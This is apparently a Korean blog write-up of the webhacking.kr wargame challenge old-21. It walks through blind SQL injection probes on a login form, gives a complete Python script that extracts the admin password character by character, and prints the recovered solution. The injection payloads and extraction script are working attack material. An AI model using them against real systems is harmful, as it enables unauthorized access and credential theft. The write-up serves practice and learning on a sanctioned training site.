power-girl0-0

[webhacking.kr - old] 21번 본문

War game/webhacking.kr

[webhacking.kr - old] 21번

power-girl0-0 2021. 6. 26. 18:28
728x90

주소 : https://webhacking.kr/old.php

Webhacking.kr

webhacking.kr


[ 풀이 ]

친절하게 blind sql injection문제라고 출력되어있다.


임의의 값으로, admin/admin을 입력한 결과 login fail이라는 결과가 출력되었다.
guest/guest를 한결과는 아래와 같이 login success문구를 출력한 것을 볼 수 있다.


만약 guest아이디의 비밀번호를 틀렸을시, 틀렸다고 출력되는지 확인해보자.

id : guest / pw: 0' or '1'='1

그 결과, 비밀번호가 틀렸다고 출력된다.


그렇다면, admin이라는 id가 존재하는지 확인해보자.

id : admin / pw: 0' or '1'='1

비밀번호가 틀렸다고 출력되는 것을 보아, admin이라는 id가 존재하는 것을 알 수 있다.

id가 존재하는 것을 확인하였으니, 만약 pw에 false값을 전송했을시 결과물을 확인해보자.

id: admin / pw: 0' or '1'='2

login fail값을 리턴한다. 즉, 정리하면 wrong password는 ture를 의미하고 login fail은 false를 의미한다.


소스코드를 만들어서, admin의 pw를 알아보자.

import requests stop=0 pw_len=0 pwd='' url = "https://webhacking.kr/challenge/bonus-1/index.php?" c = {"cookie":"'PHPSESSID'='자신의 세션'"} # 비밀번호 글자수 for i in range(1,50): param = url+"id=admin' and length(pw) like {}%23&pw=1".format(i) res = requests.get(param, cookies=c) if res.text.find("wrong password")!=-1: pw_len=i print("pw len : {}".format(pw_len)) break # 비밀번호 for i in range(1,pw_len+1): if stop == 1: break for j in range(33,133): param = url+"id=admin' and ord(substr(pw,{},1)) like {}%23&pw=1".format(i,j) res = requests.get(param, cookies=c) if res.text.find("wrong password")!=-1: pwd+=chr(j) break if j == 132 : stop = 1 break print("pw : {}".format(pwd))

위에서 구한 결과값을 바탕으로, 로그인하였더니 문제가 풀렸다.

id : admin / pw : there_is_no_rest_for_the_white_angel



728x90

'War game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr - old] 23번  (0) 2021.06.27
[webhacking.kr - old] 22번  (0) 2021.06.27
[webhacking.kr - old] 20번  (0) 2021.06.25
[webhacking.kr - old] 19번  (0) 2021.06.25
[webhacking.kr - old] 18번  (0) 2021.06.24
Comments